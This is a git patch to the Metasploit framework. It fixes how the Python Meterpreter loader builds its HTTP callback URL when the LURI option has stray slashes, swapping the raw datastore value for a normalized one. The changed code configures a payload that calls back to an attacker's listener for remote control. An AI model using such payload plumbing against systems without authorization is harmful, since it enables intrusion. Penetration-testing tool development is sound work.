From 821fd177bb64f7290e7e233ef6aaa7d04eca72e5 Mon Sep 17 00:00:00 2001 From: Justin Steven Date: Wed, 14 Apr 2021 12:28:18 +1000 Subject: [PATCH] Fix Python HTTP stage when LURI is mis-slashed --- lib/msf/core/payload/python/meterpreter_loader.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 8c105c1d6b..83a258bd19 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -113,7 +113,7 @@ module Payload::Python::MeterpreterLoader uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" opts[:scheme] ||= opts[:url].to_s.split(':')[0] scheme, lhost, lport = transport_uri_components(opts) - callback_url = "#{scheme}://#{lhost}:#{lport}#{ds['LURI']}#{uri}/" + callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/" # patch in the various payload related configuration met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")